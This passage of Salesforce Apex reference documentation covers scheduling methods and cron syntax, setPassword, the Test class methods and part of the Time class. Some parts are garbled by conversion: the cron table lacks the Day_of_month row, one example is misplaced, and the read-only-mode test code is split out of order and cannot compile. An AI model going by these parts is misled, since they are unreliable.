Every call to `runAs` counts against the total number of DML statements issued in the process.

---

**schedule(jobName, cronExpression, schedulableClass)**

Use `schedule` with an Apex class that implements the `Schedulable` interface to schedule the class to run at the time specified by a Cron expression.

**Signature**

```java
public static String schedule(String jobName, String cronExpression, Object schedulableClass)
```

**Parameters**

- `jobName`
  Type: `String`

- `cronExpression`
  Type: `String`

- `schedulableClass`
  Type: `Object`

**Return Value**

Type: `String`

Returns the scheduled job ID (CronTrigger ID).

**Usage**

Use extreme care if you’re planning to schedule a class from a trigger. You must be able to guarantee that the trigger won’t add more scheduled classes than the limit. In particular, consider API bulk updates, import wizards, mass record changes through the user interface, and all cases where more than one record can be updated at a time. Use the `abortJob` method to stop the job after it has been scheduled.

Salesforce schedules the class for execution at the specified time. Actual execution may be delayed based on service availability.

---

**Using the System.Schedule Method**

After you implement a class with the `Schedulable` interface, use the `System.Schedule` method to execute it. The scheduler runs as system—all classes are executed, whether or not the user has permission to execute the class.
Note: Use extreme care if you’re planning to schedule a class from a trigger. You must be able to guarantee that the trigger won’t add more scheduled classes than the limit. In particular, consider API bulk updates, import wizards, mass record changes through the user interface, and all cases where more than one record can be updated at a time.

The System.Schedule method takes three arguments: a name for the job, an expression used to represent the time and date the job is scheduled to run, and the name of the class. This expression has the following syntax:

```
Seconds Minutes Hours Day_of_month Month Day_of_week Optional_year
```

Note: Salesforce schedules the class for execution at the specified time. Actual execution may be delayed based on service availability.

The System.Schedule method uses the user’s timezone for the basis of all schedules.

The following are the values for the expression:

<table>
<thead>
<tr>
<th>Name</th>
<th>Values</th>
<th>Special Characters</th>
</tr>
</thead>
<tbody>
<tr>
<td>Seconds</td>
<td>0–59</td>
<td>None</td>
</tr>
<tr>
<td>Minutes</td>
<td>0–59</td>
<td>None</td>
</tr>
<tr>
<td>Hours</td>
<td>0–23</td>
<td>, - * /</td>
</tr>
<tr>
<td>Month</td>
<td>1–12 or the following:</td>
<td>, - * /</td>
</tr>
<tr>
<td></td>
<td>• JAN</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• FEB</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• MAR</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• APR</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• MAY</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• JUN</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• JUL</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• AUG</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• SEP</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• OCT</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• NOV</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• DEC</td>
<td></td>
</tr>
<tr>
<td>Day_of_week</td>
<td>1–7 or the following:</td>
<td>, - * ? / L #</td>
</tr>
<tr>
<td></td>
<td>• SUN</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• MON</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• TUE</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• WED</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• THU</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• FRI</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• SAT</td>
<td></td>
</tr>
</tbody>
</table>
The special characters are defined as follows:

<table>
<thead>
<tr>
<th>Special Character</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>,</td>
<td>Delimits values. For example, use JAN, MAR, APR to specify more than one month.</td>
</tr>
<tr>
<td>-</td>
<td>Specifies a range. For example, use JAN–MAR to specify more than one month.</td>
</tr>
<tr>
<td>*</td>
<td>Specifies all values. For example, if Month is specified as *, the job is scheduled for every month.</td>
</tr>
<tr>
<td>?</td>
<td>Specifies no specific value. This is only available for Day_of_month and Day_of_week, and is generally used when specifying a value for one and not the other.</td>
</tr>
<tr>
<td>/</td>
<td>Specifies increments. The number before the slash specifies when the intervals will begin, and the number after the slash is the interval amount. For example, if you specify 1/5 for Day_of_month, the Apex class runs every fifth day of the month, starting on the first of the month.</td>
</tr>
<tr>
<td>L</td>
<td>Specifies the end of a range (last). This is only available for Day_of_month and Day_of_week. When used with Day_of_month, L always means the last day of the month, such as January 31, February 29 for leap years, and so on. When used with Day_of_week by itself, it always means 7 or SAT. When used with a Day_of_week value, it means the last of that type of day in the month. For example, if you specify 2L, you are specifying the last Monday of the month. Do not use a range of values with L as the results might be unexpected.</td>
</tr>
<tr>
<td>W</td>
<td>Specifies the nearest weekday (Monday-Friday) of the given day. This is only available for Day_of_month. For example, if you specify 20W, and the 20th is a Saturday, W the class runs on the 19th. If you specify 1W, and the first is a Saturday, the class does not run in the previous month, but on the third, which is the following Monday. <strong>Tip:</strong> Use the L and W together to specify the last weekday of the month.</td>
</tr>
<tr>
<td>#</td>
<td>Specifies the nth day of the month, in the format weekday#day_of_month. This is only available for Day_of_week. The number before the # specifies weekday (SUN–SAT). The number after the # specifies the day of the month. For example, specifying 2#1 means the class runs on the first Monday of every month.</td>
</tr>
</tbody>
</table>

The following are some examples of how to use the expression.

<table>
<thead>
<tr>
<th>Expression</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0 0 13 * * ?</td>
<td>Class runs every day at 1 PM.</td>
</tr>
<tr>
<td>0 0 22 ? * 6L</td>
<td>Class runs the last Friday of every month at 10 PM.</td>
</tr>
<tr>
<td>Expression</td>
<td>Description</td>
</tr>
<tr>
<td>-------------------------------</td>
<td>-------------------------------------------------------</td>
</tr>
<tr>
<td>0 0 10 * * MON-FRI</td>
<td>Class runs Monday through Friday at 10 AM.</td>
</tr>
<tr>
<td>0 0 20 * * ? 2010</td>
<td>Class runs every day at 8 PM during the year 2010.</td>
</tr>
</tbody>
</table>

In the following example, the class `proschedule` implements the `Schedulable` interface. The class is scheduled to run at 8 AM, on the 13 February.

```java
proschedule p = new proschedule();
    String sch = '0 0 8 13 2 ?';
    system.schedule('One Time Pro', sch, p);
```

### scheduleBatch(batchable, jobName, minutesFromNow)

Schedules a batch job to run once in the future after the specified time interval and with the specified job name.

**Signature**

```java
public static String scheduleBatch(Database.Batchable batchable, String jobName, Integer minutesFromNow)
```

**Parameters**

- `batchable`
  - Type: `Database.Batchable`
  - An instance of a class that implements the `Database.Batchable` interface.

- `jobName`
  - Type: `String`
  - The name if the job that this method will start.

- `minutesFromNow`
  - Type: `Integer`
  - The time interval in minutes after which the job should start executing. This argument must be greater than zero.

**Return Value**

- Type: `String`
  - The scheduled job ID (CronTrigger ID).

**Usage**

- **Note:** Some things to note about `System.scheduleBatch`:
  - When you call `System.scheduleBatch`, Salesforce schedules the job for execution at the specified time. Actual execution occurs at or after that time, depending on service availability.
  - The scheduler runs as system—all classes are executed, whether or not the user has permission to execute the class.
  - When the job's schedule is triggered, the system queues the batch job for processing. If Apex flex queue is enabled in your org, the batch job is added at the end of the flex queue. For more information, see [Holding Batch Jobs in the Apex Flex Queue](#).
All scheduled Apex limits apply for batch jobs scheduled using `System.scheduleBatch`. After the batch job is queued (with a status of Holding or Queued), all batch job limits apply and the job no longer counts toward scheduled Apex limits.

After calling this method and before the batch job starts, you can use the returned scheduled job ID to abort the scheduled job using the `System.abortJob` method.

For an example, see Using the `System.scheduleBatch` Method.

**scheduleBatch(batchable, jobName, minutesFromNow, scopeSize)**

Schedules a batch job to run once in the future after the specified time interval, with the specified job name and scope size. Returns the scheduled job ID (CronTrigger ID).

**Signature**

```java
public static String scheduleBatch(Database.Batchable batchable, String jobName, Integer minutesFromNow, Integer scopeSize)
```

**Parameters**

- **batchable**
  - Type: `Database.Batchable`
  - The batch class that implements the `Database.Batchable` interface.

- **jobName**
  - Type: `String`
  - The name of the job that this method will start.

- **minutesFromNow**
  - Type: `Integer`
  - The time interval in minutes after which the job should start executing.

- **scopeSize**
  - Type: `Integer`
  - The number of records that should be passed to the batch `execute` method.

**Return Value**

Type: `String`

**Usage**

**Note:** Some things to note about `System.scheduleBatch`:

- When you call `System.scheduleBatch`, Salesforce schedules the job for execution at the specified time. Actual execution occurs at or after that time, depending on service availability.
- The scheduler runs as system—all classes are executed, whether or not the user has permission to execute the class.
- When the job’s schedule is triggered, the system queues the batch job for processing. If Apex flex queue is enabled in your org, the batch job is added at the end of the flex queue. For more information, see Holding Batch Jobs in the Apex Flex Queue.
• All scheduled Apex limits apply for batch jobs scheduled using `System.scheduleBatch`. After the batch job is queued (with a status of `Holding` or `Queued`), all batch job limits apply and the job no longer counts toward scheduled Apex limits.

• After calling this method and before the batch job starts, you can use the returned scheduled job ID to abort the scheduled job using the `System.abortJob` method.

For an example, see Using the `System.scheduleBatch` Method.

`setPassword(userId, password)`

Sets the password for the specified user.

**Signature**

```
public static Void setPassword(ID userId, String password)
```

**Parameters**

- `userId`
  - Type: `ID`

- `password`
  - Type: `String`

**Return Value**

Type: `Void`

**Usage**

When the user logs in with this password, they are not prompted to create a new password. Use `resetPassword(userId, sendUserEmail)` if you want the user to go through the reset process and create their own password.

⚠️ **Warning:** Be careful with this method, and do not expose this functionality to end-users.

`submit(workItemIds, comments, nextApprover)`

Submits the processed approvals. The current user is the submitter and the entry criteria is evaluated for all processes applicable to the current user.

**Signature**

```
public static List<ID> submit(List<ID> workItemIds, String comments, String nextApprover)
```

**Parameters**

- `workItemIds`
  - Type: `List<ID>`

- `comments`
  - Type: `String`
nextApprover
Type: String

Return Value
Type: List<ID>

Usage
For enhanced submit and evaluation features, see the ProcessSubmitRequest class.

today()
Returns the current date in the current user's time zone.

Signature
public static Date today()

Return Value
Type: Date

Test Class
Contains methods related to Apex tests.

Namespace
System

Test Methods
The following are methods for Test. All methods are static.

IN THIS SECTION:

clearApexPageMessages()
Clear the messages on a Visualforce page while executing Apex test methods.
createStub(parentType, stubProvider)
Creates a stubbed version of an Apex class that you can use for testing. This method is part of the Apex stub API. You can use it with the System.StubProvider interface to create a mocking framework.
enableChangeDataCapture()
Use this method in an Apex test so that change event notifications are generated for all supported Change Data Capture entities. Call this method at the beginning of your test before performing DML operations and calling Test.getEventBus().deliver();.
enqueueBatchJobs(numberOfJobs)
Adds the specified number of jobs with no-operation contents to the test-context queue. It first fills the test batch queue, up to the maximum 5 jobs, and then places jobs in the test flex queue. It throws a limit exception when the number of jobs in the test flex queue exceeds the allowed limit of 100 jobs.

getEventBus()
Returns an instance of the test event bus broker, which lets you operate on platform event or change event messages in an Apex test. For example, you can call Test.getEventBus().deliver() to deliver event messages.

getFlexQueueOrder()
Returns an ordered list of job IDs for jobs in the test-context flex queue. The job at index 0 is the next job slated to run. This method returns only test-context results, even if it’s annotated with @IsTest(SeeAllData=true).

getStandardPricebookId()
Returns the ID of the standard price book in the organization.

invokeContinuationMethod(controller, request)
Invokes the callback method for the specified controller and continuation in a test method.

isRunningTest()
Returns true if the currently executing code was called by code contained in a test method, false otherwise. Use this method if you need to run different code depending on whether it was being called from a test.

loadData(sObjectToken, resourceName)
Inserts test records from the specified static resource .csv file and for the specified sObject type, and returns a list of the inserted sObjects.

newSendEmailQuickActionDefaults(contextId, replyToId)
Creates a new QuickAction.SendEmailQuickActionDefaults instance for testing a class implementing the QuickAction.QuickActionDefaultsHandler interface.

setContinuationResponse(requestLabel, mockResponse)
Sets a mock response for a continuation HTTP request in a test method.

setCreatedDate(recordId, createdDatetime)
Sets CreatedDate for a test-context sObject.

setCurrentPage(page)
A Visualforce test method that sets the current PageReference for the controller.

setCurrentPageReference(page)
A Visualforce test method that sets the current PageReference for the controller.

setFixedSearchResults(fixedSearchResults)
Defines a list of fixed search results to be returned by all subsequent SOSL statements in a test method.

setMock(interfaceType, instance)
Sets the response mock mode and instructs the Apex runtime to send a mock response whenever a callout is made through the HTTP classes or the auto-generated code from WSDLs.

setReadOnlyApplicationMode(applicationMode)
Sets the application mode for an organization to read-only in an Apex test to simulate read-only mode during Salesforce upgrades and downtimes. The application mode is reset to the default mode at the end of each Apex test run.

startTest()
Marks the point in your test code when your test actually begins. Use this method when you are testing governor limits.
stopTest()
Marks the point in your test code when your test ends. Use this method in conjunction with the startTest method.

testInstall(installImplementation, version, isPush)
Tests the implementation of the InstallHandler interface, which is used for specifying a post install script in packages. Tests run as the test initiator in the development environment.

testSandboxPostCopyScript(script, organizationId, sandboxId, sandboxName)
Tests the implementation of the SandboxPostCopy Interface on page 3384, which is used for specifying a script to run at the completion of a Sandbox copy. Tests run as the test initiator in the development environment.

testUninstall(uninstallImplementation)
Tests the implementation of the UninstallHandler interface, which is used for specifying an uninstall script in packages. Tests run as the test initiator in the development environment.

clearApexPageMessages()
Clear the messages on a Visualforce page while executing Apex test methods.

Signature
public static void clearApexPageMessages()

Return Value
Type: void

Usage
This method may only be used in tests.

Example:

```
@isTest
static void clearMessagesTest() {
    Test.setCurrentPage(new PageReference('/'));
    ApexPages.addMessage(
        new ApexPages.Message(ApexPages.Severity.WARNING, 'Sample Warning')
    );
    System.assertEquals(1, ApexPages.getMessages().size());
    Test.clearApexPageMessages();
    System.assertEquals(0, ApexPages.getMessages().size());
}
```

createStub(parentType, stubProvider)
Creates a stubbed version of an Apex class that you can use for testing. This method is part of the Apex stub API. You can use it with the System.StubProvider interface to create a mocking framework.

Signature
public static Object createStub(System.Type parentType, System.StubProvider stubProvider)
Parameters

**parentType**

Type: System.Type

The type of the Apex class to be stubbed.

**stubProvider**

System.StubProvider

An implementation of the StubProvider interface.

Return Value

Type: Object

Returns the stubbed object to use in testing.

Usage

The `createStub()` method works together with the System.StubProvider interface. You define the behavior of the stubbed object by implementing the StubProvider interface. Then you create a stubbed object using the `createStub()` method. When you invoke methods on the stubbed object, the `handleMethodCall()` method of the StubProvider interface is called to perform the behavior of the stubbed method.

SEE ALSO:

- StubProvider Interface
- Build a Mocking Framework with the Stub API

---

### enableChangeDataCapture()

Use this method in an Apex test so that change event notifications are generated for all supported Change Data Capture entities. Call this method at the beginning of your test before performing DML operations and calling `Test.getEventBus().deliver()`.

**Signature**

```
public static void enableChangeDataCapture()
```

**Return Value**

Type: void

**Usage**

The `enableChangeDataCapture()` method ensures that Apex tests can fire change event triggers regardless of the entities selected in Setup in the Change Data Capture page. The `enableChangeDataCapture()` method doesn't affect the entities selected in Setup.

SEE ALSO:

- Change Data Capture Developer Guide
**enqueueBatchJobs (numberOfJobs)**

Adds the specified number of jobs with no-operation contents to the test-context queue. It first fills the test batch queue, up to the maximum 5 jobs, and then places jobs in the test flex queue. It throws a limit exception when the number of jobs in the test flex queue exceeds the allowed limit of 100 jobs.

**Signature**

```java
public static List<Id> enqueueBatchJobs(Integer numberOfJobs)
```

**Parameters**

- **numberOfJobs**
  - Type: `Integer`
  - Number of test jobs to enqueue.

**Return Value**

- Type: `List<Id>`
  - A list of IDs of enqueued test jobs.

**Usage**

Use this method to reduce testing time. Instead of using your org’s real batch jobs for testing, you can use this method to simulate batch-job enqueueing. Using `enqueueBatchJobs (numberOfJobs)` is faster than enqueuing real batch jobs.

**getEventBus ()**

Returns an instance of the test event bus broker, which lets you operate on platform event or change event messages in an Apex test. For example, you can call `Test.getEventBus().deliver()` to deliver event messages.

**Signature**

```java
public static EventBus.TestBroker getEventBus()
```

**Return Value**

- Type: `EventBus.TestBroker`
  - A broker for the test event bus.

**Usage**

Enclose `Test.getEventBus().deliver()` within the `Test.startTest()` and `Test.stopTest()` statement block.

```java
Test.startTest();
// Create test events
// ...
// Publish test events with EventBus.publish()
// ...
// Deliver test events
Test.getEventBus().deliver();
```
SEE ALSO:

*Platform Events Developer Guide*

### getFlexQueueOrder()

Returns an ordered list of job IDs for jobs in the test-context flex queue. The job at index 0 is the next job slated to run. This method returns only test-context results, even if it’s annotated with `@IsTest(SeeAllData=true)`.

**Signature**

```java
public static List<Id> getFlexQueueOrder()
```

**Return Value**

Type: `List<Id>`

An ordered list of IDs of the jobs in the test’s flex queue.

### getStandardPricebookId()

Returns the ID of the standard price book in the organization.

**Signature**

```java
public static Id getStandardPricebookId()
```

**Return Value**

Type: `Id`

The ID of the standard price book.

**Usage**

This method returns the ID of the standard price book in your organization regardless of whether the test can query organization data. By default, tests can’t query organization data unless they’re annotated with `@isTest(SeeAllData=true)`.

Creating price book entries with a standard price requires the ID of the standard price book. Use this method to get the standard price book ID so that you can create price book entries in your tests.

**Example**

This example creates some test data for price book entries. The test method in this example gets the standard price book ID and uses this ID to create a price book entry for a product with a standard price. Next, the test creates a custom price book and uses the ID of this custom price book to add a price book entry with a custom price.

```java
@isTest
public class PriceBookTest {
```
static testmethod void addPricebookEntries() {
    // First, set up test price book entries.
    // Insert a test product.
    Product2 prod = new Product2(Name = 'Laptop X200',
                                  Family = 'Hardware');
    insert prod;

    // Get standard price book ID.
    // This is available irrespective of the state of SeeAllData.
    Id pricebookId = Test.getStandardPricebookId();

    // 1. Insert a price book entry for the standard price book.
    PricebookEntry standardPrice = new PricebookEntry(
        Pricebook2Id = pricebookId, Product2Id = prod.Id,
        UnitPrice = 10000, IsActive = true);
    insert standardPrice;

    // Create a custom price book
    Pricebook2 customPB = new Pricebook2(Name='Custom Pricebook', isActive=true);
    insert customPB;

    // 2. Insert a price book entry with a custom price.
    PricebookEntry customPrice = new PricebookEntry(
        Pricebook2Id = customPB.Id, Product2Id = prod.Id,
        UnitPrice = 12000, IsActive = true);
    insert customPrice;

    // Next, perform some tests with your test price book entries.
}

invokeContinuationMethod(controller, request)
Invokes the callback method for the specified controller and continuation in a test method.

Signature
public static Object invokeContinuationMethod(Object controller, Continuation request)

Parameters
controller
Type: Object
An instance of the controller class that invokes the continuation request.

request
Type: Continuation
The continuation that is returned by an action method in the controller class.
Return Value
Type: Object
The response of the continuation callback method.

Usage
Use the Test.setContinuationResponse and Test.invokeContinuationMethod methods to test continuations. In test context, callouts of continuations aren’t sent to the external service. By using these methods, you can set a mock response and cause the runtime to call the continuation callback method to process the mock response.

Call Test.setContinuationResponse before you call Test.invokeContinuationMethod. When you call Test.invokeContinuationMethod, the runtime executes the callback method that is associated with the continuation. The callback method processes the mock response that is set by Test.setContinuationResponse.

isRunningTest()
Returns true if the currently executing code was called by code contained in a test method, false otherwise. Use this method if you need to run different code depending on whether it was being called from a test.

Signature
public static Boolean isRunningTest()

Return Value
Type: Boolean

loadData(sObjectToken, resourceName)
Inserts test records from the specified static resource .csv file and for the specified sObject type, and returns a list of the inserted sObjects.

Signature
public static List<sObject> loadData(Schema.SObjectType sObjectToken, String resourceName)

Parameters
sObjectToken
Type: Schema.SObjectType
The sObject type for which to insert test records.

resourceName
Type: String
The static resource that corresponds to the .csv file containing the test records to load. The name is case insensitive.

Return Value
Type: List<sObject>
**Usage**

You must create the static resource prior to calling this method. The static resource is a comma-delimited file ending with a .csv extension. The file contains field names and values for the test records. The first line of the file must contain the field names and subsequent lines are the field values. To learn more about static resources, see “Defining Static Resources” in the Salesforce online help.

Once you create a static resource for your .csv file, the static resource will be assigned a MIME type. Supported MIME types are:

- text/csv
- application/vnd.ms-excel
- application/octet-stream
- text/plain

### newSendEmailQuickActionDefaults(contextId, replyToId)

Creates a new QuickAction.SendEmailQuickActionDefaults instance for testing a class implementing the QuickAction.QuickActionDefaultsHandler interface.

**Signature**

```java
public static QuickAction.SendEmailQuickActionDefaults newSendEmailQuickActionDefaults(ID contextId, ID replyToId)
```

**Parameters**

- `contextId`
  - Type: `Id`
  - Parent record of the email message.

- `replyToId`
  - Type: `Id`
  - Previous email message ID if this email message is a reply.

**Return Value**

Type: `SendEmailQuickActionDefaults Class`

The default values used for an email message quick action.

### setContinuationResponse(requestLabel, mockResponse)

Sets a mock response for a continuation HTTP request in a test method.

**Signature**

```java
public static void setContinuationResponse(String requestLabel, System.HttpResponse mockResponse)
```

**Parameters**

- `requestLabel`
  - Type: `String`
The unique label that corresponds to the continuation HTTP request. This label is returned by Continuation.addHttpRequest.

mockResponse
Type: HttpResponse
The fake response to be returned by Test.invokeContinuationMethod.

Return Value
Type: void

Usage
Use the Test.setContinuationResponse and Test.invokeContinuationMethod methods to test continuations. In test context, callouts of continuations aren’t sent to the external service. By using these methods, you can set a mock response and cause the runtime to call the continuation callback method to process the mock response.

Call Test.setContinuationResponse before you call Test.invokeContinuationMethod. When you call Test.invokeContinuationMethod, the runtime executes the callback method that is associated with the continuation. The callback method processes the mock response that is set by Test.setContinuationResponse.

setCreatedDate(recordId, createdDatetime)
Sets CreatedDate for a test-context sObject.

Signature
public static void setCreatedDate(Id recordId, Datetime createdDatetime)

Parameters
recordId
Type: Id
The ID of an sObject.
createdDatetime
Type: Datetime
The value to assign to the sObject’s CreatedDate field.

Return Value
Type: void

Usage
All database changes are rolled back at the end of a test. You can’t use this method on records that existed before your test executed. You also can’t use setCreatedDate in methods annotated with @isTest(SeeAllData=true), because those methods have access to all data in your org. If you set CreatedDate to a future value, it can cause unexpected results. This method takes two parameters—an sObject ID and a Datetime value—neither of which can be null.
Insert your test record before you set its CreatedDate, as shown in this example.

```java
@isTest
private class SetCreatedDateTest {
    static testMethod void testSetCreatedDate() {
        Account a = new Account(name='myAccount');
        insert a;
        Test.setCreatedDate(a.Id, DateTime.newInstance(2012,12,12));
        Test.startTest();
        Account myAccount = [SELECT Id, Name, CreatedDate FROM Account
                             WHERE Name = 'myAccount' limit 1];
        System.assertEquals(myAccount.CreatedDate, DateTime.newInstance(2012,12,12));
        Test.stopTest();
    }
}
```

**setCurrentPage(page)**
A Visualforce test method that sets the current PageReference for the controller.

**Signature**

```java
public static Void setCurrentPage(PageReference page)
```

**Parameters**

- `page`
  - Type: `System.PageReference`

**Return Value**

- Type: Void

**setCurrentPageReference(page)**
A Visualforce test method that sets the current PageReference for the controller.

**Signature**

```java
public static Void setCurrentPageReference(PageReference page)
```

**Parameters**

- `page`
  - Type: `System.PageReference`

**Return Value**

- Type: Void
**setFixedSearchResults(fixedSearchResults)**

Defines a list of fixed search results to be returned by all subsequent SOSL statements in a test method.

**Signature**

```java
public static Void setFixedSearchResults(ID[] fixedSearchResults)
```

**Parameters**

- `fixedSearchResults`
  
  Type: `ID[]`
  
  The list of record IDs specified by `opt_set_search_results` replaces the results that would normally be returned by the SOSL queries if they were not subject to any `WHERE` or `LIMIT` clauses. If these clauses exist in the SOSL queries, they are applied to the list of fixed search results.

**Return Value**

Type: Void

**Usage**

If `opt_set_search_results` is not specified, all subsequent SOSL queries return no results.

For more information, see Adding SOSL Queries to Unit Tests on page 653.

**setMock(interfaceType, instance)**

Sets the response mock mode and instructs the Apex runtime to send a mock response whenever a callout is made through the HTTP classes or the auto-generated code from WSDLs.

**Signature**

```java
public static Void setMock(Type interfaceType, Object instance)
```

**Parameters**

- `interfaceType`
  
  Type: `System.Type`

- `instance`
  
  Type: Object

**Return Value**

Type: Void

**Usage**

- **Note**: To mock a callout if the code that performs the callout is in a managed package, call `Test.setMock` from a test method in the same package with the same namespace.
**setReadOnlyApplicationMode(applicationMode)**

Sets the application mode for an organization to read-only in an Apex test to simulate read-only mode during Salesforce upgrades and downtimes. The application mode is reset to the default mode at the end of each Apex test run.

**Signature**

```apex
public static Void setReadOnlyApplicationMode(Boolean applicationMode)
```

**Parameters**

- `applicationMode`
  
  Type: Boolean

**Return Value**

Type: Void

**Usage**

Also see the `getApplicationReadWriteMode()` System method.

Do not use `setReadOnlyApplicationMode` for purposes unrelated to Read-Only Mode testing, such as simulating DML exceptions.

**Example**

The following example sets the application mode to read-only and attempts to insert a new account record, which results in the exception. It then resets the application mode and performs a successful insert.

```apex
@isTest
private class ApplicationReadOnlyModeTestClass {
    public static testmethod void test() {
        // Create a test account that is used for querying later.
        Account testAccount = new Account(Name = 'TestAccount');
        insert testAccount;
        // Set the application read only mode.
        Test.setReadOnlyApplicationMode(true);
        // Verify that the application is in read-only mode.
        System.assertEquals(
            ApplicationReadWriteMode.READ_ONLY,
            System.getApplicationReadWriteMode());
    }
    // Create a new account object.
    Account testAccount2 = new Account(Name = 'TestAccount2');
    try {
        // Get the test account created earlier. Should be successful.
        Account testAccountFromDb =
            [SELECT Id, Name FROM Account WHERE Name = 'TestAccount'];
        System.assertEquals(testAccount.Id, testAccountFromDb.Id);
    }
}
```
// Inserts should result in the InvalidReadOnlyUserDmlException
// being thrown.
insert testAccount2;
System.assertEquals(false, true);
} catch (System.InvalidReadOnlyUserDmlException e) {
    // Expected
}
// Insertion should work after read only application mode gets disabled.
Test.setReadOnlyApplicationMode(false);

insert testAccount2;
Account testAccount2FromDb =
    [SELECT Id, Name FROM Account WHERE Name = 'TestAccount2'];
System.assertEquals(testAccount2.Id, testAccount2FromDb.Id);

**startTest()**

Marks the point in your test code when your test actually begins. Use this method when you are testing governor limits.

**Signature**

```java
public static Void startTest()
```

**Return Value**

Type: Void

**Usage**

You can also use this method with **stopTest** to ensure that all asynchronous calls that come after the **startTest** method are run before doing any assertions or testing. Each test method is allowed to call this method only once. All of the code before this method should be used to initialize variables, populate data structures, and so on, allowing you to set up everything you need to run your test. Any code that executes after the call to **startTest** and before **stopTest** is assigned a new set of governor limits.

**stopTest()**

Marks the point in your test code when your test ends. Use this method in conjunction with the **startTest** method.

**Signature**

```java
public static Void stopTest()
```

**Return Value**

Type: Void
Usage

Each test method is allowed to call this method only once. Any code that executes after the `stopTest` method is assigned the original limits that were in effect before `startTest` was called. All asynchronous calls made after the `startTest` method are collected by the system. When `stopTest` is executed, all asynchronous processes are run synchronously.

⚠️ **Note:** Asynchronous calls, such as `@future` or `executeBatch`, called in a `startTest`, `stopTest` block, do not count against your limits for the number of queued jobs.

`testInstall(installImplementation, version, isPush)`

Tests the implementation of the `InstallHandler` interface, which is used for specifying a post install script in packages. Tests run as the test initiator in the development environment.

Signature

```java
public static Void testInstall(InstallHandler installImplementation, Version version, Boolean isPush)
```

Parameters

- `installImplementation`
  Type: `System.InstallHandler`  
  A class that implements the `InstallHandler` interface.
- `version`
  Type: `System.Version`  
  The version number of the existing package installed in the subscriber organization.
- `isPush`
  Type: `Boolean`  
  (Optional) Specifies whether the upgrade is a push. The default value is `false`.

Return Value

Type: Void

Usage

This method throws a run-time exception if the test install fails.

Example

```java
@isTest static void test() {
    PostInstallClass postinstall = new PostInstallClass();
    Test.testInstall(postinstall, new Version(1,0));
}
```
**testSandboxPostCopyScript(script, organizationId, sandboxId, sandboxName)**

Tests the implementation of the SandboxPostCopy Interface on page 3384, which is used for specifying a script to run at the completion of a Sandbox copy. Tests run as the test initiator in the development environment.

**Signature**

public static void testSandboxPostCopyScript(System.SandboxPostCopy script, Id organizationId, Id sandboxId, String sandboxName)

**Parameters**

*script*  
Type: System.SandboxPostCopy  
A class that implements the SandboxPostCopy interface.

*organizationId*  
Type: Id  
The sandbox organization ID

*sandboxId*  
Type: Id  
The sandbox ID to be provided to the SandboxPostCopy script.

*sandboxName*  
Type: String  
The sandbox name to be provided to the SandboxPostCopy script.

**Return Value**

Type: void

**Usage**

This method throws a run-time exception if the test install fails.

**Example**

See SandboxPostCopy Example Implementation on page 3385

---

**testUninstall(uninstallImplementation)**

Tests the implementation of the UninstallHandler interface, which is used for specifying an uninstall script in packages. Tests run as the test initiator in the development environment.

**Signature**

public static Void testUninstall(UninstallHandler uninstallImplementation)
Parameters
uninstallImplementation
Type: System.UninstallHandler
A class that implements the UninstallHandler interface.

Return Value
Type: Void

Usage
This method throws a run-time exception if the test uninstall fails.

Example
@isTest static void test() {
    UninstallClass uninstall = new UninstallClass();
    Test.testUninstall(uninstall);
}

Time Class
Contains methods for the Time primitive data type.

Namespace
System

Usage
For more information on time, see Primitive Data Types on page 26.

Time Methods
The following are methods for Time.

IN THIS SECTION:
addHours(additionalHours)
    Adds the specified number of hours to a Time.
addMilliseconds(additionalMilliseconds)
    Adds the specified number of milliseconds to a Time.
addMinutes(additionalMinutes)
    Adds the specified number of minutes to a Time.
addSeconds(additionalSeconds)
    Adds the specified number of seconds to a Time.
hour()
Returns the hour component of a Time.
millisecond()
Returns the millisecond component of a Time.
minute()
Returns the minute component of a Time.
newInstance(hour, minutes, seconds, milliseconds)
Constructs a Time from Integer representations of the specified hour, minutes, seconds, and milliseconds. (UTC is assumed.)
second()
Returns the second component of a Time.

**addHours (additionalHours)**
Adds the specified number of hours to a Time.

**Signature**
```java
public Time addHours(Integer additionalHours)
```

**Parameters**

*additionalHours*
Type: `Integer`

**Return Value**
Type: `Time`

**Example**
```java
Time myTime = Time.newInstance(1, 2, 3, 4);
Time expected = Time.newInstance(4, 2, 3, 4);
System.assertEquals(expected, myTime.addHours(3));
```

**addMilliseconds (additionalMilliseconds)**
Adds the specified number of milliseconds to a Time.

**Signature**
```java
public Time addMilliseconds(Integer additionalMilliseconds)
```

**Parameters**

*additionalMilliseconds*
Type: `Integer`

**Example**
```java
Time myTime = Time.newInstance(1, 2, 3, 4);
Time expected = Time.newInstance(4, 2, 3, 4);
System.assertEquals(expected, myTime.addHours(3));
```
Return Value
Type: Time

Example
```java
Time myTime = Time.newInstance(1, 2, 3, 0);
Time expected = Time.newInstance(1, 2, 4, 400);
System.assertEquals(expected, myTime.addMilliseconds(1400));
```

addMinutes(additionalMinutes)

Adds the specified number of minutes to a Time.

Signature
```java
public Time addMinutes(Integer additionalMinutes)
```

Parameters

additionalMinutes
Type: Integer

Return Value
Type: Time

Example
```java
Time myTime = Time.newInstance(18, 30, 2, 20);
Integer myMinutes = myTime.minute();
myMinutes = myMinutes + 5;
System.assertEquals(myMinutes, 35);
```

addSeconds(additionalSeconds)

Adds the specified number of seconds to a Time.

Signature
```java
public Time addSeconds(Integer additionalSeconds)
```

Parameters

additionalSeconds
Type: Integer

Return Value
Type: Time
Example

```java
Time myTime = Time.newInstance(1, 2, 55, 0);
Time expected = Time.newInstance(1, 3, 5, 0);
System.assertEquals(expected, myTime.addSeconds(10));
```

`hour()`
Returns the hour component of a Time.

Signature

```java
public Integer hour()
